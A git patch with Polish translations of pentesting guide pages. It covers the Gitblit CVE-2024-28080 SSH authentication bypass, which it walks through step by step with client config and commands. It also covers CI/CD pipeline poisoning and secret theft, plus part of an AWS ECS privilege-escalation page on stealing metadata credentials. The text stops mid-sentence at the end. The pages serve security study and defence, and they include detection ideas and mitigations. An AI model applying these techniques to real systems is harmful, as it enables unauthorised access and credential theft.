From 5fa6bccbdf5cdba46d6a0d991fe9a13091b8c927 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 23:51:17 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', --- .../gitblit-security/README.md | 8 +- ...embedded-ssh-auth-bypass-cve-2024-28080.md | 80 ++++++++--------- .../pentesting-ci-cd-methodology.md | 90 +++++++++---------- .../aws-ecs-privesc.md | 75 ++++++++-------- 4 files changed, 126 insertions(+), 127 deletions(-) diff --git a/src/pentesting-ci-cd/gitblit-security/README.md b/src/pentesting-ci-cd/gitblit-security/README.md index 756da855d..3a09c7e41 100644 --- a/src/pentesting-ci-cd/gitblit-security/README.md +++ b/src/pentesting-ci-cd/gitblit-security/README.md @@ -1,10 +1,10 @@ -# Gitblit Bezpieczeństwo +# Bezpieczeństwo Gitblit {{#include ../../banners/hacktricks-training.md}} -## Co to jest Gitblit +## Czym jest Gitblit -Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać jako samodzielny plik JAR lub w kontenerach servletów i jest dostarczany z wbudowaną usługą SSH (Apache MINA SSHD) dla Git over SSH. +Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać jako samodzielny plik JAR lub w kontenerach servletów i zawiera wbudowaną usługę SSH (Apache MINA SSHD) obsługującą Git over SSH. ## Tematy @@ -14,7 +14,7 @@ Gitblit to samodzielnie hostowany serwer Git napisany w Javie. Może działać j gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md {{#endref}} -## Referencje +## Źródła - [Gitblit project](https://gitblit.com/) diff --git a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md index 8ad5b0176..906cb95dd 100644 --- a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md +++ b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md @@ -4,36 +4,36 @@ ## Podsumowanie -CVE-2024-28080 to obejście uwierzytelniania w wbudowanym serwisie SSH Gitblit spowodowane niepoprawnym zarządzaniem stanem sesji podczas integracji z Apache MINA SSHD. Jeśli konto użytkownika ma zarejestrowany co najmniej jeden klucz SSH publiczny, atakujący znający nazwę użytkownika i dowolny z jego kluczy publicznych może się uwierzytelnić bez private key i bez hasła. +CVE-2024-28080 to obejście uwierzytelniania w wbudowanej usłudze SSH Gitblit, spowodowane nieprawidłowym zarządzaniem stanem sesji przy integracji z Apache MINA SSHD. Jeśli konto użytkownika ma zarejestrowany co najmniej jeden publiczny klucz SSH, atakujący, który zna nazwę użytkownika oraz którykolwiek z publicznych kluczy tego użytkownika, może się uwierzytelnić bez prywatnego klucza i bez hasła. -- Dotknięte: Gitblit < 1.10.0 (observed on 1.9.3) +- Dotknięte: Gitblit < 1.10.0 (zaobserwowane w 1.9.3) - Naprawione: 1.10.0 -- Wymagania do exploitacji: +- Wymagania do exploitu: - Git over SSH włączony na instancji -- Konto ofiary ma zarejestrowany co najmniej jeden klucz SSH publiczny w Gitblit -- Atakujący zna nazwę użytkownika ofiary i jeden z jego kluczy publicznych (często do znalezienia, np. https://github.com/.keys) +- Konto ofiary ma zarejestrowany co najmniej jeden publiczny klucz SSH w Gitblit +- Atakujący zna nazwę użytkownika ofiary oraz jeden z jej publicznych kluczy (często możliwe do znalezienia, np. https://github.com/.keys) -## Root cause (state leaks between SSH methods) +## Przyczyna (state leaks between SSH methods) -W RFC 4252 uwierzytelnianie public‑key przebiega w dwóch fazach: serwer najpierw sprawdza, czy podany klucz publiczny jest akceptowalny dla nazwy użytkownika, a dopiero po challenge/response z podpisem uwierzytelnia użytkownika. W MINA SSHD PublickeyAuthenticator jest wywoływany dwukrotnie: przy akceptacji klucza (jeszcze bez podpisu) i później, po tym jak klient zwróci podpis. +W RFC 4252 uwierzytelnianie przy użyciu klucza publicznego przebiega w dwóch fazach: serwer najpierw sprawdza, czy podany klucz publiczny jest akceptowalny dla danej nazwy użytkownika, a dopiero po challenge/response z podpisem uwierzytelnia użytkownika. W MINA SSHD, PublickeyAuthenticator jest wywoływany dwukrotnie: przy akceptacji klucza (jeszcze bez podpisu) oraz później, gdy klient zwraca podpis. -PublickeyAuthenticator Gitblita modyfikował kontekst sesji przy pierwszym, przed‑podpisem wywołaniu, wiążąc uwierzytelniony UserModel z sesją i zwracając true ("key acceptable"). Gdy uwierzytelnianie później przechodziło do hasła, PasswordAuthenticator ufał temu zmodyfikowanemu stanowi sesji i skracał ścieżkę, zwracając true bez weryfikacji hasła. W efekcie każde hasło (włącznie z pustym) było akceptowane po wcześniejszej public‑key "acceptance" dla tego samego użytkownika. +PublickeyAuthenticator Gitblit zmodyfikował kontekst sesji podczas pierwszego, przed‑podpisem wywołania przez powiązanie uwierzytelnionego UserModel z sesją i zwracanie true ("key acceptable"). Gdy uwierzytelnianie później przechodziło do hasła, PasswordAuthenticator zaufał temu zmodyfikowanemu stanowi sesji i przerwał proces, zwracając true bez weryfikacji hasła. W efekcie dowolne hasło (w tym puste) było akceptowane po wcześniejszej public‑key "acceptance" dla tego samego użytkownika. Ogólny, wadliwy przebieg: -1) Klient oferuje nazwę użytkownika + public key (jeszcze bez podpisu) -2) Serwer rozpoznaje, że klucz należy do użytkownika i przedwcześnie przypisuje użytkownika do sesji, zwracając true ("acceptable") -3) Klient nie może podpisać (brak private key), więc uwierzytelnianie przechodzi na hasło -4) Uwierzytelnianie hasłem widzi, że użytkownik jest już przypisany do sesji i bezwarunkowo zwraca powodzenie +1) Klient oferuje username + public key (jeszcze bez podpisu) +2) Serwer rozpoznaje, że klucz należy do użytkownika i przedwcześnie przypisuje użytkownika do sesji, zwraca true ("acceptable") +3) Klient nie może podpisać (brak prywatnego klucza), więc uwierzytelnianie przechodzi do hasła +4) Uwierzytelnianie hasłem widzi, że użytkownik jest już obecny w sesji i bezwarunkowo zwraca sukces -## Krok‑po‑kroku eksploatacja +## Eksploatacja krok po kroku - Zbierz nazwę użytkownika ofiary i jeden z jej kluczy publicznych: -- GitHub udostępnia klucze publiczne pod adresem https://github.com/.keys -- Publiczne serwery często ujawniają authorized_keys -- Skonfiguruj OpenSSH tak, by prezentował tylko część publiczną, tak że generowanie podpisu się nie powiedzie, wymuszając fallback do hasła, jednocześnie wywołując ścieżkę akceptacji public‑key po stronie serwera. +- GitHub udostępnia publiczne klucze pod adresem https://github.com/.keys +- Serwery publiczne często udostępniają authorized_keys +- Skonfiguruj OpenSSH tak, aby prezentował tylko część publiczną (bez prywatnej), tak aby generowanie podpisu się nie powiodło, wymuszając powrót do hasła, a jednocześnie wywołując ścieżkę akceptacji klucza publicznego na serwerze. -Przykładowa konfiguracja klienta SSH (no private key available): +Przykładowa konfiguracja klienta SSH (brak dostępnego prywatnego klucza): ```sshconfig # ~/.ssh/config Host gitblit-target @@ -50,52 +50,52 @@ ssh gitblit-target # or Git over SSH GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://@/ ``` -Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state. +Uwierzytelnianie powiodło się, ponieważ wcześniejsza faza public‑key zmieniła stan session na uwierzytelnionego użytkownika, a password auth błędnie ufa temu stanowi. -Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact. +Uwaga: Jeśli w konfiguracji SSH włączono ControlMaster multiplexing, kolejne polecenia Git mogą ponownie użyć uwierzytelnionego połączenia, zwiększając wpływ. ## Impact - Pełne podszycie się pod dowolnego użytkownika Gitblit, który ma co najmniej jeden zarejestrowany SSH public key -- Dostęp do odczytu/zapisu do repozytoriów zgodnie z uprawnieniami ofiary (eksfiltracja kodu źródłowego, nieautoryzowane pushes, ryzyko supply‑chain) -- Potencjalny wpływ administracyjny w przypadku skompromitowania użytkownika z uprawnieniami admina +- Dostęp do odczytu/zapisu do repozytoriów zgodnie z uprawnieniami ofiary (eksfiltracja źródła, nieautoryzowane pushes, supply‑chain risks) +- Możliwy wpływ administracyjny przy ataku na konto administratora - Czysty exploit sieciowy; nie wymaga brute force ani private key ## Detection ideas -- Przejrzyj logi SSH pod kątem sekwencji, w których próba publickey jest następnie zakończona udanym password authentication z pustym lub bardzo krótkim password -- Szukaj przepływów: metoda publickey oferująca nieobsługiwany/niezgodny materiał klucza, a następnie natychmiastowy sukces password dla tej samej nazwy użytkownika +- Przejrzyj logi SSH w poszukiwaniu sekwencji, w których próba publickey jest następowana przez udane uwierzytelnienie password z pustym lub bardzo krótkim hasłem +- Szukaj przepływów: metoda publickey oferująca nieobsługiwany/niepasujący materiał klucza, po którym następuje natychmiastowe powodzenie password dla tej samej nazwy użytkownika ## Mitigations -- Upgrade to Gitblit v1.10.0+ -- Until upgraded: -- Wyłącz Git over SSH w Gitblit, lub +- Zaktualizuj do Gitblit v1.10.0+ +- Do czasu aktualizacji: +- Wyłącz Git over SSH na Gitblit, lub - Ogranicz dostęp sieciowy do usługi SSH, oraz -- Monitoruj wzorce opisane powyżej pod kątem podejrzanej aktywności -- Obetnij/odśwież poświadczenia dotkniętych użytkowników, jeśli podejrzewasz kompromitację +- Monitoruj w poszukiwaniu opisanych powyżej podejrzanych wzorców +- Rotuj dane uwierzytelniające dotkniętych użytkowników, jeśli podejrzewa się kompromitację ## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services) -Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by: +Wzorzec: Jeśli public‑key authenticator serwera modyfikuje user/session state podczas etapu pre‑signature "key acceptable", a inne authenticatory (np. password) ufają temu stanowi, można obejść uwierzytelnianie przez: -- Presenting a legitimate public key for the target user (no private key) -- Forcing the client to fail signing so the server falls back to password -- Supplying any password while the password authenticator short‑circuits on leaked state +- Prezentowanie legalnego public key dla docelowego użytkownika (bez private key) +- Wymuszenie, by klient nie podpisał, tak że serwer przechodzi do password +- Podanie dowolnego hasła, podczas gdy password authenticator przerywa procedurę z powodu leaked state -Practical tips: +Praktyczne wskazówki: -- Public key harvesting at scale: pull public keys from common sources such as https://github.com/.keys, organizational directories, team pages, leaked authorized_keys -- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password +- Public key harvesting at scale: pobieraj public keys z powszechnych źródeł takich jak https://github.com/.keys, katalogi organizacji, strony zespołów, leaked authorized_keys +- Forcing signature failure (client‑side): ustaw IdentityFile tylko na .pub, ustaw IdentitiesOnly yes, zachowaj PreferredAuthentications tak, by zawierało publickey a następnie password - MINA SSHD integration pitfalls: -- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature -- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method +- PublickeyAuthenticator.authenticate(...) nie powinien przyłączać user/session state dopóki ścieżka weryfikacji po podpisie nie potwierdzi podpisu +- PasswordAuthenticator.authenticate(...) nie powinien wywnioskowywać sukcesu na podstawie jakiegokolwiek stanu zmodyfikowanego podczas wcześniejszej, niekompletnej metody uwierzytelniania -Related protocol/design notes and literature: +Powiązane uwagi protokołu/projektowe i literatura: - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process) -- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior +- Historyczne dyskusje na temat early acceptance oracles i auth races, np. spory wokół CVE‑2016‑20012 dotyczące zachowania OpenSSH -## References +## Referencje - [Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)](https://blog.silentsignal.eu/2025/06/14/gitblit-cve-CVE-2024-28080/) - [Gitblit v1.10.0 release notes](https://github.com/gitblit-org/gitblit/releases/tag/v1.10.0) diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 6f8475b7a..057c0d550 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD Metodologia +# Metodologia Pentesting CI/CD {{#include ../banners/hacktricks-training.md}} @@ -6,98 +6,98 @@ ## VCS -VCS oznacza **System kontroli wersji**, ten system pozwala deweloperom **zarządzać swoim source code**. Najpopularniejszym z nich jest **git** i zwykle firmy używają go na jednej z następujących **platform**: +VCS oznacza **System Kontroli Wersji**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszym jest **git** i zwykle znajdziesz firmy korzystające z niego na jednej z następujących **platform**: - Github - Gitlab - Bitbucket - Gitea - Gitblit -- Cloud providers (oferują własne platformy VCS) +- Cloud providers (they offer their own VCS platforms) ## CI/CD Pipelines -CI/CD pipelines pozwalają deweloperom **automatyzować wykonywanie code** w różnych celach, włączając budowanie, testowanie i wdrażanie aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requests lub zadania zaplanowane. Są przydatne do usprawnienia procesu od developmentu do produkcji. +CI/CD pipelines umożliwiają deweloperom **automatyzację uruchamiania kodu** w różnych celach, w tym budowy, testów i deployu aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji. -Jednakże te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do deployu kodu lub dostępu do wrażliwych informacji**. +Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle wymagają **uprzywilejowanych poświadczeń do deployu kodu lub dostępu do wrażliwych informacji**. ## VCS Pentesting Methodology > [!NOTE] -> Nawet jeśli niektóre platformy VCS pozwalają na tworzenie pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki prowadzące do przejęcia kontroli nad source code. +> Nawet jeśli niektóre platformy VCS umożliwiają tworzenie pipeline'ów, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym. -Platformy zawierające source code twojego projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący mógłby wykorzystać: +Platformy zawierające kod źródłowy Twojego projektu przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami nadawanymi w obrębie tej platformy. Oto kilka powszechnych problemów na platformach VCS, które atakujący może wykorzystać: -- **Leaks**: Jeśli twój code zawiera leaki w commitach, a atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaki. -- **Access**: Jeśli atakujący potrafi **uzyskać dostęp do konta na platformie VCS**, może zyskać **większą widoczność i uprawnienia**. -- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom na stworzenie konta. -- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale umożliwiają dostęp każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github account, aby się zalogować). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele typów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo. -- **Webhooks**: Platformy VCS pozwalają generować webhooks. Jeśli nie są **chronione** niewidocznymi secretami, **atakujący może je wykorzystać**. -- Jeśli nie ma żadnego secreta, atakujący może wykorzystać webhook z platformy trzeciej -- Jeśli secret znajduje się w URL, dzieje się to samo i atakujący również ma secret -- **Code compromise:** Jeśli złośliwy aktor ma jakikolwiek **write** access do repo, może spróbować **wstrzyknąć złośliwy code**. Aby odnieść sukces może być wymagane **obejście branch protections**. Te działania mogą być wykonane z różnymi celami: -- Skompromitować main branch w celu **skompromitowania produkcji**. -- Skompromitować main (lub inne branche) aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach). -- **Skompromitować pipeline** (sprawdź następną sekcję) +- **Leaks**: Jeśli Twój kod zawiera leaks w commitach i atakujący ma dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leaks. +- **Access**: Jeśli atakujący może **uzyskać dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**. +- **Register**: Niektóre platformy pozwalają po prostu zewnętrznym użytkownikom na założenie konta. +- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają każdemu zalogować się za pomocą ważnego SSO (np. atakujący mógłby użyć swojego konta github, żeby wejść). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo. +- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** niewidzialnymi sekretami, **atakujący może je nadużyć**. +- Jeśli nie ma sekretu, atakujący może nadużyć webhooka platformy zewnętrznej. +- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma ten sekret. +- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może być konieczne **obejście ochrony gałęzi**. Te działania mogą być wykonywane z różnymi celami po drodze: + - Skompromitować gałąź main, aby **skompromitować production**. + - Skompromitować main (lub inne gałęzie), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy w repo na swoich maszynach). + - **Compromise the pipeline** (zobacz następną sekcję) ## Pipelines Pentesting Methodology -Najczęstszy sposób definiowania pipeline to użycie **CI configuration file hostowanego w repository**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow i ustawienia środowiska builda.\ -Te pliki zwykle mają spójne nazwy i formaty, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się w .github/workflows. Po wyzwoleniu job pipeline **pulls the code** z wybranego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** względem tego code. +Najczęstszym sposobem definiowania pipeline'a jest użycie **pliku konfiguracyjnego CI hostowanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska budowy.\ +Pliki te mają zwykle stałą nazwę i format, np. — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions znajdujące się pod .github/workflows. Po wyzwoleniu, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia komendy określone w pliku konfiguracyjnym CI** na tym kodzie. -Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które one wykonują**. +Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**. ### PPE - Poisoned Pipeline Execution -Ścieżka Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulowania CI pipeline i wykonywania szkodliwych poleceń. Użytkownicy z niezbędnymi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dołączyć złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń. +The Poisoned Pipeline Execution (PPE) path wykorzystuje uprawnienia w repozytorium SCM do manipulacji pipeline'em CI i uruchamiania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „truje” CI pipeline, prowadząc do wykonania tych złośliwych poleceń. Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi: -- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane gdy następuje push lub pull request. (Sprawdź VCS pentesting methodology dla podsumowania sposobów zdobycia dostępu). -- Zauważ, że czasami **zewnętrzne PR liczy się jako "write access"**. -- Nawet mając uprawnienia do zapisu, musi mieć pewność, że może **modyfikować CI config file lub inne pliki, na które config polega**. -- W tym celu może być konieczne **obejście branch protections**. +- Mieć **write access to the VCS platform**, ponieważ pipeline'y zwykle są wyzwalane przy pushu lub pull requestcie. (Sprawdź VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu). +- Zauważ, że czasami **zewnętrzny PR liczy się jako "write access"**. +- Nawet mając uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfiguracja polega**. +- W tym celu może być konieczne **obejście ochrony gałęzi**. -Istnieją 3 odmiany PPE: +Są 3 odmiany PPE: -- **D-PPE**: **Direct PPE** występuje, gdy aktor **modyfikuje CI config** file, który będzie wykonywany. -- **I-DDE**: **Indirect PPE** występuje, gdy aktor **modyfikuje** jakiś **file**, na którym polega CI config (np. make file lub terraform config). -- **Public PPE or 3PE**: W niektórych przypadkach pipeliny mogą być **wyzwalane przez użytkowników, którzy nie mają write access do repo** (a którzy mogą nawet nie być częścią organizacji), ponieważ mogą wysłać PR. -- **3PE Command Injection**: Zwykle, CI/CD pipelines ustawiają zmienne środowiskowe z **informacjami o PR**. Jeśli ta wartość może być kontrolowana przez atakującego (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu poleceń sh), atakujący może **wstrzyknąć tam polecenia**. +- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed. +- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config). +- **Public PPE or 3PE**: W niektórych przypadkach pipeline'y mogą być **wyzwalane przez użytkowników, którzy nie mają write access w repo** (i którzy nawet mogą nie należeć do organizacji), ponieważ mogą wysłać PR. +- **3PE Command Injection**: Zwykle CI/CD pipeline'y będą **ustawiać zmienne środowiskowe** z **informacjami o PR**. Jeśli tę wartość może kontrolować atakujący (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. przy wykonywaniu **sh commands**), atakujący może **wstrzyknąć tam polecenia**. ### Exploitation Benefits -Znając 3 odmiany zatrucia pipeline, sprawdźmy co atakujący może uzyskać po pomyślnym exploitowaniu: +Znając 3 odmiany zatrucia pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji: -- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie code, build, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **env variables lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej secrets. -- W zależności od platformy pipeline atakujący **może potrzebować zadeklarować secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **tylko wyeksfiltrować te secrets, które pipeline posiada**. -- **Computation**: Code jest wykonywany gdzieś — w zależności od miejsca wykonania atakujący może być w stanie pivotować dalej. -- **On-Premises**: Jeśli pipeline wykonują się on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**. -- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** IAM roles/service accounts **tokens**, aby uzyskać **dalszy dostęp w cloud**. -- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze bez dodatkowego dostępu. -- **Select it:** Czasami **platforma pipelines będzie miała skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować CI configuration file**, możesz **wskazać, gdzie chcesz uruchomić złośliwy code**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować. -- **Compromise production**: Jeśli znajdujesz się wewnątrz pipeline i finalna wersja jest budowana oraz wdrażana z niego, możesz **skompromitować code, który trafi do środowiska produkcyjnego**. +- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** do swoich jobów (pobrać kod, zbudować, zdeployować...) i te uprawnienia są zwykle **przyznawane w sekretach**. Te sekrety zwykle są dostępne przez **zmienne środowiskowe lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyeksfiltrować jak najwięcej sekretów. +- W zależności od platformy pipeline atakujący **może musieć określić sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (np. **I-PPE**), mógłby **wyeksfiltrować tylko sekrety, które ma dany pipeline**. +- **Computation**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonywania atakujący może być w stanie pivotować dalej. +- **On-Premises**: Jeśli pipeline'y są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej ilości zasobów**. +- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **wyeksfiltrować** tokeny ról IAM/service accounts, żeby uzyskać **dalej idący dostęp w chmurze**. +- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle znajdują się w chmurze i mają **ograniczony dostęp**. +- **Select it:** Czasami **platforma pipeline będzie miała skonfigurowane różne maszyny** i jeśli możesz **zmodyfikować plik konfiguracyjny CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie odpali reverse shell na każdej możliwej maszynie, aby spróbować dalej ją eksploatować. +- **Compromise production**: Jeśli jesteś wewnątrz pipeline'a i finalna wersja jest budowana i deployowana z niego, możesz **skompromitować kod, który trafi do produkcji**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to open-source tool do audytu twojego software supply chain stack pod kątem compliance bezpieczeństwa, oparty na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia code do momentu deployu. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to narzędzie open-source do audytu Twojego stacku software supply chain pod kątem zgodności bezpieczeństwa, oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt koncentruje się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu tworzenia kodu po czas jego deployu. ### Top 10 CI/CD Security Risk -Sprawdź interesujący artykuł o top 10 CI/CD risk według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Sprawdź ciekawy artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją według własnych potrzeb i testować. +- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcję jak ją uruchomić lokalnie, abyś mógł skonfigurować ją tak, jak chcesz do testów - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to static code analysis tool dla infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index e5e8594c7..471fa1c6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Więcej **informacji o ECS** w: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Atakujący nadużywający uprawnień `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową task definition** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**. +Atakujący wykorzystujący uprawnienia `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` w ECS może **wygenerować nową definicję zadania** z **złośliwym kontenerem**, który wykrada poświadczenia metadanych i **uruchomić ją**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Utwórz webhook na stronie takiej jak webhook.site +Utwórz webhook przy użyciu serwisu takiego jak webhook.site ```bash # Create file container-definition.json @@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Potential Impact:** Bezpośredni privesc do innej roli ECS. +**Potential Impact:** Bezpośrednie privesc do innej ECS roli. ### `iam:PassRole`,`ecs:RunTask` -Atakujący, który ma uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS ze zmodyfikowanymi wartościami **execution role**, **task role** oraz kontenerowego **command**. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie wykonywania zmienić `executionRoleArn`, `taskRoleArn` oraz kontenerowy `command` bez modyfikowania task definition. +Atakujący, który posiada uprawnienia `iam:PassRole` i `ecs:RunTask`, może uruchomić nowe zadanie ECS z zmodyfikowanymi wartościami **execution role**, **task role** oraz **command** kontenera. Polecenie CLI `ecs run-task` zawiera flagę `--overrides`, która pozwala w czasie 